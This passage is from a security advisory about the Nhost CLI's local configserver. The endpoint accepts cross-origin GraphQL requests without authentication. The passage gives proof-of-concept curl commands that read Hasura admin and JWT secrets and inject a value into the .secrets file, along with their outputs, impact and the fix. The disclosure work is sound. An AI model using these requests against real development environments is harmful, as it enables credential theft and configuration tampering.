Details
curl -sS -i \
-H 'Origin: https://attacker.example' \
-H 'Content-Type: application/json' \
--data '{"query":"query { configRawJSON(appID: \"00000000-0000-0000-0000-000000000000\", resolve: false) }"}' \
"http://127.0.0.1:18088/v1/configserver/graphql"
Observed proof output in this environment:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"configRawJSON":"{\"hasura\":{\"adminSecret\":\"local-test-admin-secret\",\"jwtSecrets\":[{\"key\":\"local-test-jwt-secret\",\"type\":\"HS256\"}],\"webhookSecret\":\"local-test-webhook-secret\"},\"observability\":{\"grafana\":{\"adminPassword\":\"local-test-grafana-password\"}}}"}}
- Mutate the local
.secretsfile without any authentication:
curl -sS -i \
-H 'Origin: https://attacker.example' \
-H 'Content-Type: application/json' \
--data '{"query":"mutation { insertSecret(appID: \"00000000-0000-0000-0000-000000000000\", secret: { name: \"INJECTED_BY_UNAUTHENTICATED_REQUEST\", value: \"SAFE_LOCAL_MARKER\" }) { name value } }"}' \
"http://127.0.0.1:18088/v1/configserver/graphql"
grep -E 'INJECTED_BY_UNAUTHENTICATED_REQUEST|SAFE_LOCAL_MARKER' "$secrets"
Observed proof output in this environment:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"insertSecret":{"name":"INJECTED_BY_UNAUTHENTICATED_REQUEST","value":"SAFE_LOCAL_MARKER"}}}
INJECTED_BY_UNAUTHENTICATED_REQUEST = 'SAFE_LOCAL_MARKER'
- Cleanup:
# Stop the configserver process, then remove the disposable fixture directory.
rm -rf "$tmpdir"
Impact
An attacker who can cause a developer to visit a web page while nhost dev is running can use JavaScript from that page to send cross-origin GraphQL requests to the local Nhost configserver. The attacker can read local development secrets and configuration, including Hasura admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables stored in .secrets. The attacker can also mutate the local .secrets file, which can alter subsequent local development behavior and potentially poison local configuration consumed by services.
This is not a hosted-production unauthenticated endpoint vulnerability; it affects the local developer environment. The realistic attacker model is a malicious web page, local unprivileged process, or same-network process that can reach the developer's local configserver route while the development stack is running.
Remediation
Addressed in nhost/nhost#4302 with three layered controls:
- CORS restricted to the dashboard origin.
cors.Default()incli/cmd/configserver/configserver.gois replaced bycorsMiddleware(), which uses anAllowOriginFuncdriven bydashboardOriginRe = ^https?://([^./]+\.dashboard\.local\.nhost\.run|local\.dashboard\.nhost\.run)(:\d+)?$. Arbitrary origins receive noAccess-Control-Allow-*headers and are rejected by browsers. The allowlist is locked in bycli/cmd/configserver/configserver_test.go. - Unguessable per-project app ID. The fixed zero UUID is replaced by a UUIDv4 generated on first
nhost dev, persisted to.nhost/app_id(mode0600) bycli/clienv/appid.go, and threaded viaNHOST_APP_IDinto the configserver container andNEXT_PUBLIC_NHOST_APP_IDinto the dashboard. The configserverserveaction validates the value withuuid.Parseat startup. Queries against any other app ID resolve to no app. - In-memory secret redaction with reconciling writes.
cli/cmd/configserver/local.goaddsloadSecretsRedacted, which substitutes every secret value with<placeholder-from-local-configserver-substituted-for-real-secret>before secrets enter the graph store, soappSecretsand any other read path return placeholders.UpdateSecretsreconciles incoming mutations against the on-disk.secretsfile — placeholder values preserve the on-disk value, only real new values are written — so a caller that has not seen the real secret cannot overwrite it with a known string. Coverage incli/cmd/configserver/local_test.go.